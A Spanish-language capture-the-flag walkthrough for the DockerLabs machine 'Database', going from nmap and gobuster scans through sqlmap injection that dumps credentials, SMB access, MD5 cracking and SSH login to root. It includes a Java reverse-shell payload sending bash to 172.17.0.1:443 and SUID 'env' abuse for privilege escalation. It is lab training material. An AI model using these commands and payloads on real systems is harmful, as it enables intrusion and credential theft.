Database - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Medio | ElPinguinoDeMario |
Escaneo y Reconocimiento de puertos
Vamos a iniciar nuestro reconocimiento con un rápido escaneo de nmap.
nmap -p- --open -sS -sC -sV --min-rate=5000 -vvv -n -Pn -oN escaneo 172.17.0.2
-p-- Búsqueda de puertos abiertos--open- Enumera los puertos abiertos-sS- Es un modo de escaneo rápido-sC-- Que use un conjunto de scripts de reconocimiento-sV- Que encuentre la versión del servicio abierto.--min-rate=5000- Hace que el reconocimiento aun vaya mas rápido mandando no menos de 5000 paquetes-n- No hace resolución DNS-Pn- No hace ping-vvv- Muestra en pantalla a medida que encuentra puertos (Verbose)
Vemos que esta abierto el puerto 22 SSH, el puerto 80 HTTP, el puerto 445 y el puerto 139 Samba
Enumeración Web
Si accedemos a la pagina web vemos lo siguiente
Usamos Gobuster para hacer un reconocimiento web y ver que directorios podemos encontrar en dicho sitio.
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
gobuster dir- Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.-u http://172.20.10.5/Especifica la URL objetivo que deseas escanear en busca de directorios.-wEspecifica que diccionario queremos usar-xPara indicar que tipo de extension queremos que nos encuentre
Gobuster ha encontrados dos directorios, el index.php y el config.php vamos a ver que encontramos.
No hay nada interesante, vamos a ver si es potencialmente vulnerable a un SQLi con la herramienta SQL Map-
Ataque SQLi
Lo hacemos de la siguente forma:
sqlmap -u http://172.17.0.2/index.php --forms --dbs --batch
Esto va hacer un escaneo de las bases de datos que encuentre.
sqlmap -u http://172.17.0.2/index.php --forms -D register --tables --batch
Esto va ha ver que tablas se encuentran dentro de la base de datos register.
Ahora vamos a ver que hay dentro de la tabla users
sqlmap -u http://172.17.0.2/index.php --forms -D register -T users --columns --batch
Encontramos dos columnas, la passwd y la username vamos a ver que hay dentro de cada una.
sqlmap -u http://172.17.0.2/index.php --forms -D register -T users -C passwd,username --dump --batch
Encontramos una contraseña y un usuario.
dylan:KJSDFG789FGSDF78
Si ahora accedemos al panel web con esas credenciales vemos lo siguiente
Ahora si probamos el usuario y la contraseña para intentar acceder vía SSH vemos que no funciona
SMB
Vamos a ver si podemos listar directorios compartidos por SMB con la Herramienta SMB Map
Vemos que tenemos 1 carpeta llamada shared pero no tenemos acceso vamos a probar con la contraseña que hemos podido ver apartir del SQL injection.
El usuario dylan tiene permiso de escritura en el directorio shared, entonces con la herramienta smbclient vamos a conectarnos a esa carpeta a ver que hay en su interior.
Vemos un archivo para poderlo leer vamos a descargarlo con el parametro get y le hacemos un cat en nuestra maquina atacante..
Podríamos tener un posible usuario y una posible contraseña pero esta encriptada en MD5 vamos aplicar fuerza bruta con John para desencriptarla.
tenemos el usuario augustus con la contraseña lovely
Intrusión
Vamos a validar estas credenciales por ssh
Ya estamos dentro de la máquina, vamos a buscar alguna forma de escalar privilegios.
Escalada de privilegios
Si hacemos un sudo -l vemos que podemos ejecutar el binario java como dylan y así poder escalar a su usuario.
Vamos a crear un script en java para que nos mande una reverse shell con el usuario dylan.
public class Shell {
public static void main(String[] args) {
Process p;
try {
p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/172.17.0.1/443 0>&1");
p.waitFor();
p.destroy();
} catch (Exception e) {}
}
}
Ahora nos ponemos en escucha con netcat por el puerto 443 y ejecutamos el script de la siguiente forma
sudo -u dylan /usr/bin/java reverse.java
Ya somo el usuario dylan, vamos a ver ahora como podemos escalar.
Si buscamos permisos SUID vemos que tenemos el binario env
y para explotar esto lo podemos hacer de la siguiente forma
/usr/bin/env /bin/sh -p
Ya somos ROOT